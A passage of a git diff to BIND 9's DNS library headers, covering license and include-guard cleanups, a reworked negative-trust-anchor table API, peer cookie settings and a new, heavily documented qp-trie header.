 		     const dns_name_t *name, dns_rdatatype_t private,
-		     dns_diff_t *      diff);
+		     dns_diff_t	      *diff);
 /*%<
  * Remove NSEC3 records for 'name', recording the change in 'diff'.
  * Adjust previous NSEC3 records, if any, to reflect the removal.
@@ -266,5 +267,3 @@ dns_nsec3_noexistnodata(dns_rdatatype_t type, const dns_name_t *name,
 			dns_name_t *nearest, dns_nseclog_t logit, void *arg);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_NSEC3_H */
diff --git a/lib/dns/include/dns/nta.h b/lib/dns/include/dns/nta.h
index c07d8cd686..308f3f5b68 100644
--- a/lib/dns/include/dns/nta.h
+++ b/lib/dns/include/dns/nta.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_NTA_H
-#define DNS_NTA_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -32,7 +33,6 @@
 #include <isc/refcount.h>
 #include <isc/rwlock.h>
 #include <isc/stdtime.h>
-#include <isc/task.h>
 #include <isc/timer.h>
 
 #include <dns/rdataset.h>
@@ -40,81 +40,46 @@
 #include <dns/types.h>
 #include <dns/view.h>
 
-ISC_LANG_BEGINDECLS
+/* Define to 1 for detailed reference tracing */
+#undef DNS_NTA_TRACE
 
-struct dns_ntatable {
-	/* Unlocked. */
-	unsigned int	magic;
-	dns_view_t *	view;
-	isc_rwlock_t	rwlock;
-	isc_taskmgr_t * taskmgr;
-	isc_timermgr_t *timermgr;
-	isc_task_t *	task;
-	/* Protected by atomics */
-	isc_refcount_t references;
-	/* Locked by rwlock. */
-	dns_rbt_t *table;
-	bool	   shuttingdown;
-};
+ISC_LANG_BEGINDECLS
 
 #define NTATABLE_MAGIC	   ISC_MAGIC('N', 'T', 'A', 't')
 #define VALID_NTATABLE(nt) ISC_MAGIC_VALID(nt, NTATABLE_MAGIC)
 
-isc_result_t
-dns_ntatable_create(dns_view_t *view, isc_taskmgr_t *taskmgr,
-		    isc_timermgr_t *timermgr, dns_ntatable_t **ntatablep);
+void
+dns_ntatable_create(dns_view_t *view, isc_loopmgr_t *loopmgr,
+		    dns_ntatable_t **ntatablep);
 /*%<
  * Create an NTA table in view 'view'.
  *
  * Requires:
  *
  *\li	'view' is a valid view.
- *
- *\li	'tmgr' is a valid timer manager.
- *
+ *\li	'loopmgr' is a valid loopmgr.
  *\li	ntatablep != NULL && *ntatablep == NULL
  *
  * Ensures:
  *
- *\li	On success, *ntatablep is a valid, empty NTA table.
- *
- * Returns:
- *
- *\li	ISC_R_SUCCESS
- *\li	Any other result indicates failure.
+ *\li	*ntatablep is a valid, empty NTA table.
  */
 
-void
-dns_ntatable_attach(dns_ntatable_t *source, dns_ntatable_t **targetp);
-/*%<
- * Attach *targetp to source.
- *
- * Requires:
- *
- *\li	'source' is a valid ntatable.
- *
- *\li	'targetp' points to a NULL dns_ntatable_t *.
- *
- * Ensures:
- *
- *\li	*targetp is attached to source.
- */
-
-void
-dns_ntatable_detach(dns_ntatable_t **ntatablep);
-/*%<
- * Detach *ntatablep from its ntatable.
- *
- * Requires:
- *
- *\li	'ntatablep' points to a valid ntatable.
- *
- * Ensures:
- *
- *\li	*ntatablep is NULL.
- *
- *\li	If '*ntatablep' is the last reference to the ntatable,
- *		all resources used by the ntatable will be freed
+#if DNS_NTA_TRACE
+#define dns_ntatable_ref(ptr) \
+	dns_ntatable__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_ntatable_unref(ptr) \
+	dns_ntatable__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_ntatable_attach(ptr, ptrp) \
+	dns_ntatable__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_ntatable_detach(ptrp) \
+	dns_ntatable__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_ntatable);
+#else
+ISC_REFCOUNT_DECL(dns_ntatable);
+#endif
+/*%
+ * Reference counting for dns_ntatable
  */
 
 isc_result_t
@@ -172,11 +137,9 @@ dns_ntatable_covered(dns_ntatable_t *ntatable, isc_stdtime_t now,
  * Return true if 'name' is below a non-expired negative trust
  * anchor which in turn is at or below 'anchor'.
  *
- * If 'ntatable' has not been initialized, return false.
- *
  * Requires:
  *
- *\li	'ntatable' is NULL or is a valid ntatable.
+ *\li	'ntatable' is a valid ntatable.
  *
  *\li	'name' is a valid absolute name.
  */
@@ -205,6 +168,18 @@ dns_ntatable_shutdown(dns_ntatable_t *ntatable);
  * Cancel future checks to see if NTAs can be removed.
  */
 
-ISC_LANG_ENDDECLS
+/* Internal */
+typedef struct dns__nta dns__nta_t;
+#if DNS_NTA_TRACE
+#define dns__nta_ref(ptr)   dns__nta__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns__nta_unref(ptr) dns__nta__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns__nta_attach(ptr, ptrp) \
+	dns__nta__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns__nta_detach(ptrp) \
+	dns__nta__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns__nta);
+#else
+ISC_REFCOUNT_DECL(dns__nta);
+#endif
 
-#endif /* DNS_NTA_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/opcode.h b/lib/dns/include/dns/opcode.h
index e81f574bc8..6b8f6f88e7 100644
--- a/lib/dns/include/dns/opcode.h
+++ b/lib/dns/include/dns/opcode.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_OPCODE_H
-#define DNS_OPCODE_H 1
+#pragma once
 
 /*! \file dns/opcode.h */
 
@@ -40,5 +41,3 @@ dns_opcode_totext(dns_opcode_t opcode, isc_buffer_t *target);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_OPCODE_H */
diff --git a/lib/dns/include/dns/order.h b/lib/dns/include/dns/order.h
index 248f8abf1d..4b0a25f504 100644
--- a/lib/dns/include/dns/order.h
+++ b/lib/dns/include/dns/order.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ORDER_H
-#define DNS_ORDER_H 1
+#pragma once
 
 /*! \file dns/order.h */
 
@@ -87,5 +88,3 @@ dns_order_detach(dns_order_t **orderp);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_ORDER_H */
diff --git a/lib/dns/include/dns/peer.h b/lib/dns/include/dns/peer.h
index 4fbf6facdc..d32d0076a8 100644
--- a/lib/dns/include/dns/peer.h
+++ b/lib/dns/include/dns/peer.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_PEER_H
-#define DNS_PEER_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -117,6 +118,12 @@ dns_peer_setsendcookie(dns_peer_t *peer, bool newval);
 isc_result_t
 dns_peer_getsendcookie(dns_peer_t *peer, bool *retval);
 
+isc_result_t
+dns_peer_setrequirecookie(dns_peer_t *peer, bool newval);
+
+isc_result_t
+dns_peer_getrequirecookie(dns_peer_t *peer, bool *retval);
+
 isc_result_t
 dns_peer_setrequestexpire(dns_peer_t *peer, bool newval);
 
@@ -163,7 +170,7 @@ isc_result_t
 dns_peer_setkey(dns_peer_t *peer, dns_name_t **keyval);
 
 isc_result_t
-dns_peer_settransfersource(dns_peer_t *		 peer,
+dns_peer_settransfersource(dns_peer_t		*peer,
 			   const isc_sockaddr_t *transfer_source);
 
 isc_result_t
@@ -199,29 +206,9 @@ dns_peer_setquerysource(dns_peer_t *peer, const isc_sockaddr_t *query_source);
 isc_result_t
 dns_peer_getquerysource(dns_peer_t *peer, isc_sockaddr_t *query_source);
 
-isc_result_t
-dns_peer_setnotifydscp(dns_peer_t *peer, isc_dscp_t dscp);
-
-isc_result_t
-dns_peer_getnotifydscp(dns_peer_t *peer, isc_dscp_t *dscpp);
-
-isc_result_t
-dns_peer_settransferdscp(dns_peer_t *peer, isc_dscp_t dscp);
-
-isc_result_t
-dns_peer_gettransferdscp(dns_peer_t *peer, isc_dscp_t *dscpp);
-
-isc_result_t
-dns_peer_setquerydscp(dns_peer_t *peer, isc_dscp_t dscp);
-
-isc_result_t
-dns_peer_getquerydscp(dns_peer_t *peer, isc_dscp_t *dscpp);
-
 isc_result_t
 dns_peer_setednsversion(dns_peer_t *peer, uint8_t ednsversion);
 
 isc_result_t
 dns_peer_getednsversion(dns_peer_t *peer, uint8_t *ednsversion);
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_PEER_H */
diff --git a/lib/dns/include/dns/private.h b/lib/dns/include/dns/private.h
index 62521a8360..675510c0d1 100644
--- a/lib/dns/include/dns/private.h
+++ b/lib/dns/include/dns/private.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,8 +19,7 @@
 #include <dns/db.h>
 #include <dns/types.h>
 
-#ifndef DNS_PRIVATE_H
-#define DNS_PRIVATE_H
+#pragma once
 
 ISC_LANG_BEGINDECLS
 
@@ -63,5 +64,3 @@ dns_private_totext(dns_rdata_t *privaterdata, isc_buffer_t *buffer);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ifndef DNS_PRIVATE_H */
diff --git a/lib/dns/include/dns/qp.h b/lib/dns/include/dns/qp.h
new file mode 100644
index 0000000000..2801c49040
--- /dev/null
+++ b/lib/dns/include/dns/qp.h
@@ -0,0 +1,758 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*
+ * A qp-trie is a kind of key -> value map, supporting lookups that are
+ * aware of the lexicographic order of keys.
+ *
+ * Keys are `dns_qpkey_t`, which is a string-like thing, usually created
+ * from a DNS name. You can use both relative and absolute DNS names as
+ * keys, even in the same trie, except for one caveat: if a trie contains
+ * names relative to the zone apex, the natural way to represent the apex
+ * itself (spelled `@` in zone files) is a zero-length name; but a
+ * zero-length name has the same qpkey representation as the root zone
+ * (apart from its length), so they collide.
+ *
+ * Leaf values are a pair of a `void *` pointer and a `uint32_t`
+ * (because that is what fits inside an internal qp-trie leaf node).
+ *
+ * The trie does not store keys; instead keys are derived from leaf values
+ * by calling a method provided by the user.
+ *
+ * There are a few flavours of qp-trie.
+ *
+ * The basic `dns_qp_t` supports single-threaded read/write access.
+ *
+ * A `dns_qpmulti_t` is a wrapper that supports multithreaded access.
+ * There can be many concurrent readers and a single writer. Writes are
+ * transactional, and support multi-version concurrency.
+ *
+ * The concurrency strategy uses copy-on-write. When making changes during
+ * a transaction, the caller must not modify leaf values in place, but
+ * instead delete the old leaf from the trie and insert a replacement. Leaf
+ * values have reference counts, which will indicate when the old leaf
+ * value can be freed after it is no longer needed by readers using an old
+ * version of the trie.
+ *
+ * For fast concurrent reads, call `dns_qpmulti_query()` to fill in a
+ * `dns_qpread_t`, which must be allocated on the stack. This gives
+ * the reader access to a single version of the trie. The reader's
+ * thread must be registered with `liburcu`, which is normally taken
+ * care of by `libisc`. Readers are not blocked by any write activity,
+ * and vice versa.
+ *
+ * For reads that need a stable view of the trie for multiple cycles
+ * of an isc_loop, or which can be used from any thread, call
+ * `dns_qpmulti_snapshot()` to get a `dns_qpsnap_t`. A snapshot is for
+ * relatively heavy long-running read-only operations such as zone
+ * transfers.
+ *
+ * You can start one read-write transaction at a time using
+ * `dns_qpmulti_write()` or `dns_qpmulti_update()`. Either way, you
+ * get a `dns_qp_t` that can be modified like a single-threaded trie,
+ * without affecting other read-only query or snapshot users of the
+ * `dns_qpmulti_t`.
+ *
+ * "Update" transactions are heavyweight. They allocate working memory to
+ * hold modifications to the trie, and compact the trie before committing.
+ * For extra space savings, a partially-used allocation chunk is shrunk to
+ * the smallest size possible. Unlike "write" transactions, an "update"
+ * transaction can be rolled back instead of committed. (Update
+ * transactions are intended for things like authoritative zones, where it
+ * is important to keep the per-trie memory overhead low because there can
+ * be a very large number of them.)
+ *
+ * "Write" transactions are more lightweight: they skip the allocation and
+ * compaction at the start and end of the transaction. (Write transactions
+ * are intended for frequent small changes, as in the DNS cache.)
+ */
+
+/***********************************************************************
+ *
+ *  types
+ */
+
+#include <isc/attributes.h>
+
+#include <dns/types.h>
+
+/*%
+ * A `dns_qp_t` supports single-threaded read/write access.
+ */
+typedef struct dns_qp dns_qp_t;
+
+/*%
+ * A `dns_qpmulti_t` supports multi-version wait-free concurrent reads
+ * and one transactional modification at a time.
+ */
+typedef struct dns_qpmulti dns_qpmulti_t;
+
+/*%
+ * Read-only parts of a qp-trie.
+ *
+ * A `dns_qpreader_t` is the common prefix of the `dns_qpreadable`
+ * types, containing just the fields neded for the hot path. The
+ * internals of a `dns_qpreader_t` are private; they are only exposed
+ * so that callers can allocate a `dns_qpread_t` on the stack.
+ *
+ * Ranty aside: annoyingly, C doesn't allow us to use a predeclared
+ * structure type as an anonymous struct member, so we have to use a
+ * macro. (GCC and Clang have the feature we want under -fms-extensions,
+ * but a non-standard extension won't make these declarations neater if
+ * we must also have a standard alternative.)
+ */
+#define DNS_QPREADER_FIELDS                   \
+	uint32_t		    magic;    \
+	uint32_t		    root_ref; \
+	dns_qpbase_t		   *base;     \
+	void			   *uctx;     \
+	const struct dns_qpmethods *methods
+
+typedef struct dns_qpbase dns_qpbase_t; /* private */
+
+typedef struct dns_qpreader {
+	DNS_QPREADER_FIELDS;
+} dns_qpreader_t;
+
+/*%
+ * A `dns_qpread_t` is a read-only handle on a `dns_qpmulti_t`.
+ * The caller provides space for it on the stack; it can be
+ * used by only one thread. As well as the `DNS_QPREADER_FIELDS`,
+ * it contains a thread ID to check for incorrect usage.
+ *
+ * The internals of a `dns_qpread_t` are private; they are only
+ * exposed so that callers can allocate an instance on the stack.
+ */
+typedef struct dns_qpread {
+	DNS_QPREADER_FIELDS;
+	uint32_t tid;
+} dns_qpread_t;
+
+/*%
+ * A `dns_qpsnap_t` is a read-only snapshot of a `dns_qpmulti_t`.
+ * It requires allocation and taking the `dns_qpmulti_t` mutex to
+ * create; it can be used from any thread.
+ */
+typedef struct dns_qpsnap dns_qpsnap_t;
+
+/*%
+ * The read-only qp-trie functions can work on either of the read-only
+ * qp-trie types dns_qpsnap_t or dns_qpread_t, or the general-purpose
+ * read-write `dns_qp_t`. They rely on the fact that all the
+ * `dns_qpreadable_t` structures start with a `dns_qpreader_t`
+ */
+typedef union dns_qpreadable {
+	dns_qpreader_t *qp;
+	dns_qpread_t   *qpr;
+	dns_qpsnap_t   *qps;
+	dns_qp_t       *qpt;
+} dns_qpreadable_t __attribute__((__transparent_union__));
+
+#define dns_qpreader(qpr) ((qpr).qp)
+
+/*%
+ * The maximum size of a key is also the maximum depth of a trie.
+ *
+ * A domain name can be up to 255 bytes. When converted to a key, each
+ * character in the name corresponds to one byte in the key if it is a
+ * common hostname character; otherwise unusual characters are escaped,
+ * using two bytes in the key. So we allow keys to be up to 512 bytes.
+ * (The actual max is (255 - 5) * 2 + 6 == 506)
+ */
+#define DNS_QP_MAXKEY 512
+
+/*%
+ * A trie lookup key is a small array, allocated on the stack during trie
+ * searches. Keys are usually created on demand from DNS names using
+ * `dns_qpkey_fromname()`, but in principle you can define your own
+ * functions to convert other types to trie lookup keys.
+ */
+typedef uint8_t dns_qpkey_t[DNS_QP_MAXKEY];
+
+/*%
+ * A trie iterator describes a path through the trie from the root to
+ * a leaf node, for use with `dns_qpiter_init()` and `dns_qpiter_next()`.
+ */
+typedef struct dns_qpiter {
+	unsigned int	magic;
+	dns_qpreader_t *qp;
+	uint16_t	sp;
+	struct __attribute__((__packed__)) {
+		uint32_t ref;
+		uint8_t	 more;
+	} stack[DNS_QP_MAXKEY];
+} dns_qpiter_t;
+
+/*%
+ * These leaf methods allow the qp-trie code to call back to the code
+ * responsible for the leaf values that are stored in the trie. The
+ * methods are provided for a whole trie when the trie is created.
+ *
+ * When you create a qp-trie, you provide a context pointer that is
+ * passed to the methods. The context pointer can tell the methods
+ * something about the trie as a whole, in addition to a particular
+ * leaf's values.
+ *
+ * The `attach` and `detach` methods adjust reference counts on value
+ * objects. They support copy-on-write and safe memory reclamation
+ * needed for multi-version concurrency. The methods are only called
+ * when the `dns_qpmulti_t` mutex is held.
+ *
+ * Note: When a value object reference count is greater than one, the
+ * object is in use by concurrent readers so it must not be modified. A
+ * refcount equal to one does not indicate whether or not the object is
+ * mutable: its refcount can be 1 while it is only in use by readers (and
+ * must be left unchanged), or newly created by a writer (and therefore
+ * mutable).
+ *
+ * The `makekey` method fills in a `dns_qpkey_t` corresponding to a
+ * value object stored in the qp-trie. It returns the length of the
+ * key, which must be less than `sizeof(dns_qpkey_t)`. This method
+ * will typically call dns_qpkey_fromname() with a name stored in the
+ * value object.
+ *
+ * For logging and tracing, the `triename` method copies a human-
+ * readable identifier into `buf` which has max length `size`.
+ */
+typedef struct dns_qpmethods {
+	void (*attach)(void *uctx, void *pval, uint32_t ival);
+	void (*detach)(void *uctx, void *pval, uint32_t ival);
+	size_t (*makekey)(dns_qpkey_t key, void *uctx, void *pval,
+			  uint32_t ival);
+	void (*triename)(void *uctx, char *buf, size_t size);
+} dns_qpmethods_t;
+
+/*%
+ * Buffers for use by the `triename()` method need to be large enough
+ * to hold a zone name and a few descriptive words.
+ */
+#define DNS_QP_TRIENAME_MAX 300
+
+/*%
+ * A container for the counters returned by `dns_qp_memusage()`
+ */
+typedef struct dns_qp_memusage {
+	void  *uctx;	    /*%< qp-trie method context */
+	size_t leaves;	    /*%< values in the trie */
+	size_t live;	    /*%< nodes in use */
+	size_t used;	    /*%< allocated nodes */
+	size_t hold;	    /*%< nodes retained for readers */
+	size_t free;	    /*%< nodes to be reclaimed */
+	size_t node_size;   /*%< in bytes */
+	size_t chunk_size;  /*%< nodes per chunk */
+	size_t chunk_count; /*%< allocated chunks */
+	size_t bytes;	    /*%< total memory in chunks and metadata */
+	bool   fragmented;  /*%< trie needs compaction */
+} dns_qp_memusage_t;
+
+/*%
+ * Choice of mode for `dns_qp_compact()`
+ */
+typedef enum dns_qpgc {
+	DNS_QPGC_MAYBE,
+	DNS_QPGC_NOW,
+	DNS_QPGC_ALL,
+} dns_qpgc_t;
+
+/*%
+ * Options for fancy searches such as `dns_qp_findname_ancestor()`
+ */
+typedef enum dns_qpfind {
+	DNS_QPFIND_NOEXACT = 1 << 0,
+} dns_qpfind_t;
+
+/***********************************************************************
+ *
+ *  functions - create, destory, enquire
+ */
+
+void
+dns_qp_create(isc_mem_t *mctx, const dns_qpmethods_t *methods, void *uctx,
+	      dns_qp_t **qptp);
+/*%<
+ * Create a single-threaded qp-trie.
+ *
+ * Requires:
+ * \li  `mctx` is a pointer to a valid memory context.
+ * \li  all the methods are non-NULL
+ * \li  `qptp != NULL && *qptp == NULL`
+ *
+ * Ensures:
+ * \li  `*qptp` is a pointer to a valid single-threaded qp-trie
+ */
+
+void
+dns_qp_destroy(dns_qp_t **qptp);
+/*%<
+ * Destroy a single-threaded qp-trie.
+ *
+ * Requires:
+ * \li  `qptp != NULL`
+ * \li  `*qptp` is a pointer to a valid single-threaded qp-trie
+ *
+ * Ensures:
+ * \li  all memory allocated by the qp-trie has been released
+ * \li  `*qptp` is NULL
+ */
+
+void
+dns_qpmulti_create(isc_mem_t *mctx, const dns_qpmethods_t *methods, void *uctx,
+		   dns_qpmulti_t **qpmp);
+/*%<
+ * Create a multi-threaded qp-trie.
+ *
+ * Requires:
+ * \li  `mctx` is a pointer to a valid memory context.
+ * \li  all the methods are non-NULL
+ * \li  `qpmp != NULL && *qpmp == NULL`
+ *
+ * Ensures:
+ * \li  `*qpmp` is a pointer to a valid multi-threaded qp-trie
+ */
+
+void
+dns_qpmulti_destroy(dns_qpmulti_t **qpmp);
+/*%<
+ * Destroy a multi-threaded qp-trie.
+ *
+ * Requires:
+ * \li  `qptp != NULL`
+ * \li  `*qptp` is a pointer to a valid multi-threaded qp-trie
+ * \li  there are no write or update transactions in progress
+ * \li  no snapshots exist
+ *
+ * Ensures:
+ * \li  all memory allocated by the qp-trie has been released
+ * \li  `*qpmp` is NULL
+ */
+
+void
+dns_qp_compact(dns_qp_t *qp, dns_qpgc_t mode);
+/*%<
+ * Defragment the qp-trie and release unused memory.
+ *
+ * When modifications make a trie too fragmented, it is automatically
+ * compacted. However, automatic compaction is limited when a
+ * multithreaded trie has lots of immutable memory from past
+ * transactions, and lightweight write transactions do not compact on
+ * commit like heavyweight update transactions.
+ *
+ * This function can be used with a single-threaded qp-trie and during a
+ * transaction on a multi-threaded trie.
+ *
+ * \li	If `mode == DNS_QPGC_MAYBE`, the trie is cleaned if it is fragmented
+ *
+ * \li	If `mode == DNS_QPGC_NOW`, the trie is cleaned while avoiding
+ *	unnecessary work
+ *
+ * \li	If `mode == DNS_QPGC_ALL`, the entire trie is compacted
+ *
+ * Requires:
+ * \li  `qp` is a pointer to a valid qp-trie
+ */
+
+void
+dns_qp_gctime(uint64_t *compact_us, uint64_t *recover_us,
+	      uint64_t *rollback_us);
+/*%<
+ * Get the total times spent on garbage collection in microseconds.
+ *
+ * These counters are global, covering every qp-trie in the program.
+ *
+ * XXXFANF This is a placeholder until we can record times in histograms.
+ */
+
+dns_qp_memusage_t
+dns_qp_memusage(dns_qp_t *qp);
+/*%<
+ * Get the memory counters from a qp-trie
+ *
+ * Requires:
+ * \li  `qp` is a pointer to a valid qp-trie
+ *
+ * Returns:
+ * \li  a `dns_qp_memusage_t` structure described above
+ */
+
+dns_qp_memusage_t
+dns_qpmulti_memusage(dns_qpmulti_t *multi);
+/*%<
+ * Get the memory counters from multi-threaded qp-trie outside the
+ * context of a transaction.
+ *
+ * Requires:
+ * \li  `multi` is a pointer to a valid dns_qpmulti_t
+ *
+ * Returns:
+ * \li  a `dns_qp_memusage_t` structure described above
+ */
+
+/***********************************************************************
+ *
+ *  functions - search, modify
+ */
+
+/*
+ * XXXFANF todo, based on what we discover BIND needs
+ *
+ * more fancy searches: lexicographic predecessor (for NSEC),
+ * successor (for modification-safe iteration), etc.
+ *
+ * do we need specific lookup functions to find out if the
+ * returned value is readonly or mutable?
+ *
+ * richer modification such as dns_qp_replace{key,name}
+ */
+
+size_t
+dns_qpkey_fromname(dns_qpkey_t key, const dns_name_t *name);
+/*%<
+ * Convert a DNS name into a trie lookup key.
+ *
+ * Requires:
+ * \li  `name` is a pointer to a valid `dns_name_t`
+ *
+ * Ensures:
+ * \li	returned length is less than `sizeof(dns_qpkey_t)`
+ *
+ * Returns:
+ * \li  the length of the key
+ */
+
+isc_result_t
+dns_qp_getkey(dns_qpreadable_t qpr, const dns_qpkey_t search_key,
+	      size_t search_keylen, void **pval_r, uint32_t *ival_r);
+/*%<
+ * Find a leaf in a qp-trie that matches the given search key
+ *
+ * The leaf values are assigned to whichever of `*pval_r` and `*ival_r`
+ * are not null, unless the return value is ISC_R_NOTFOUND.
+ *
+ * Requires:
+ * \li  `qpr` is a pointer to a readable qp-trie
+ * \li	`search_keylen < sizeof(dns_qpkey_t)`
+ *
+ * Returns:
+ * \li  ISC_R_NOTFOUND if the trie has no leaf with a matching key
+ * \li  ISC_R_SUCCESS if the leaf was found
+ */
+
+isc_result_t
+dns_qp_getname(dns_qpreadable_t qpr, const dns_name_t *name, void **pval_r,
+	       uint32_t *ival_r);
+/*%<
+ * Find a leaf in a qp-trie that matches the given DNS name
+ *
+ * The leaf values are assigned to whichever of `*pval_r` and `*ival_r`
+ * are not null, unless the return value is ISC_R_NOTFOUND.
+ *
+ * Requires:
+ * \li  `qpr` is a pointer to a readable qp-trie
+ * \li  `name` is a pointer to a valid `dns_name_t`
+ *
+ * Returns:
+ * \li  ISC_R_NOTFOUND if the trie has no leaf with a matching key
+ * \li  ISC_R_SUCCESS if the leaf was found
+ */
+
+isc_result_t
+dns_qp_findname_ancestor(dns_qpreadable_t qpr, const dns_name_t *name,
+			 dns_qpfind_t options, void **pval_r, uint32_t *ival_r);
+/*%<
+ * Find a leaf in a qp-trie that is an ancestor domain of, or equal to, the
+ * given DNS name.
+ *
+ * If the DNS_QPFIND_NOEXACT option is set, find the closest ancestor
+ * domain that is not equal to the search name.
+ *
+ * The leaf values are assigned to whichever of `*pval_r` and `*ival_r`
+ * are not null, unless the return value is ISC_R_NOTFOUND.
+ *
+ * Requires:
+ * \li  `qpr` is a pointer to a readable qp-trie
+ * \li  `name` is a pointer to a valid `dns_name_t`
+ *
+ * Returns:
+ * \li  ISC_R_SUCCESS if an exact match was found
+ * \li  ISC_R_PARTIALMATCH if an ancestor domain was found
+ * \li  ISC_R_NOTFOUND if no match was found
+ */
+
+isc_result_t
+dns_qp_insert(dns_qp_t *qp, void *pval, uint32_t ival);
+/*%<
+ * Insert a leaf into a qp-trie
+ *
+ * Requires:
+ * \li  `qp` is a pointer to a valid qp-trie
+ * \li  `pval != NULL`
+ * \li  `alignof(pval) >= 4`
+ *
+ * Returns:
+ * \li  ISC_R_EXISTS if the trie already has a leaf with the same key
+ * \li  ISC_R_SUCCESS if the leaf was added to the trie
+ */
+
+isc_result_t
+dns_qp_deletekey(dns_qp_t *qp, const dns_qpkey_t key, size_t keylen,
+		 void **pval_r, uint32_t *ival_r);
+/*%<
+ * Delete a leaf from a qp-trie that matches the given key
+ *
+ * The leaf values are assigned to whichever of `*pval_r` and `*ival_r`
+ * are not null, unless the return value is ISC_R_NOTFOUND.
+ *
+ * Requires:
+ * \li  `qp` is a pointer to a valid qp-trie
+ * \li	`keylen < sizeof(dns_qpkey_t)`
+ *
+ * Returns:
+ * \li  ISC_R_NOTFOUND if the trie has no leaf with a matching key
+ * \li  ISC_R_SUCCESS if the leaf was deleted from the trie
+ */
+
+isc_result_t
+dns_qp_deletename(dns_qp_t *qp, const dns_name_t *name, void **pval_r,
+		  uint32_t *ival_r);
+/*%<
+ * Delete a leaf from a qp-trie that matches the given DNS name
+ *
+ * The leaf values are assigned to whichever of `*pval_r` and `*ival_r`
+ * are not null, unless the return value is ISC_R_NOTFOUND.
+ *
+ * Requires:
+ * \li  `qp` is a pointer to a valid qp-trie
+ * \li  `name` is a pointer to a valid qp-trie
+ *
+ * Returns:
+ * \li  ISC_R_NOTFOUND if the trie has no leaf with a matching name
+ * \li  ISC_R_SUCCESS if the leaf was deleted from the trie
+ */
+
+void
+dns_qpiter_init(dns_qpreadable_t qpr, dns_qpiter_t *qpi);
+/*%<
+ * Initialize an iterator
+ *
+ * SAFETY NOTE: If `qpr` is a `dns_qp_t`, it is not safe to modify the
+ * trie during iteration. If `qpr` is a `dns_qpread_t` or `dns_qpsnap_t`
+ * then (like any other read-only access) modifications will not affect
+ * iteration.
+ *
+ * Requires:
+ * \li  `qp` is a pointer to a valid qp-trie
+ * \li  `qpi` is a pointer to a qp iterator
+ */
+
+isc_result_t
+dns_qpiter_next(dns_qpiter_t *qpi, void **pval_r, uint32_t *ival_r);
+/*%<
+ * Get the next leaf object of a trie in lexicographic order of its keys.
+ *
+ * The leaf values are assigned to whichever of `*pval_r` and `*ival_r`
+ * are not null, unless the return value is ISC_R_NOMORE.
+ *
+ * NOTE: see the safety note under `dns_qpiter_init()`.
+ *
+ * For example,
+ *
+ *	dns_qpiter_t qpi;
+ *	void *pval;
+ *	uint32_t ival;
+ *	dns_qpiter_init(qp, &qpi);
+ *	while (dns_qpiter_next(&qpi, &pval, &ival)) {
+ *		// do something with pval and ival
+ *	}
+ *
+ * Requires:
+ * \li  `qpi` is a pointer to a valid qp iterator
+ *
+ * Returns:
+ * \li  ISC_R_SUCCESS if a leaf was found and pval_r and ival_r were set
+ * \li  ISC_R_NOMORE otherwise
+ */
+
+/***********************************************************************
+ *
+ *  functions - transactions
+ */
+
+void
+dns_qpmulti_query(dns_qpmulti_t *multi, dns_qpread_t *qpr);
+/*%<
+ * Start a lightweight (brief) read-only transaction
+ *
+ * The `dns_qpmulti_query()` function must be called from an isc_loop
+ * thread and its 'qpr' argument must be allocated on the stack.
+ *
+ * Requires:
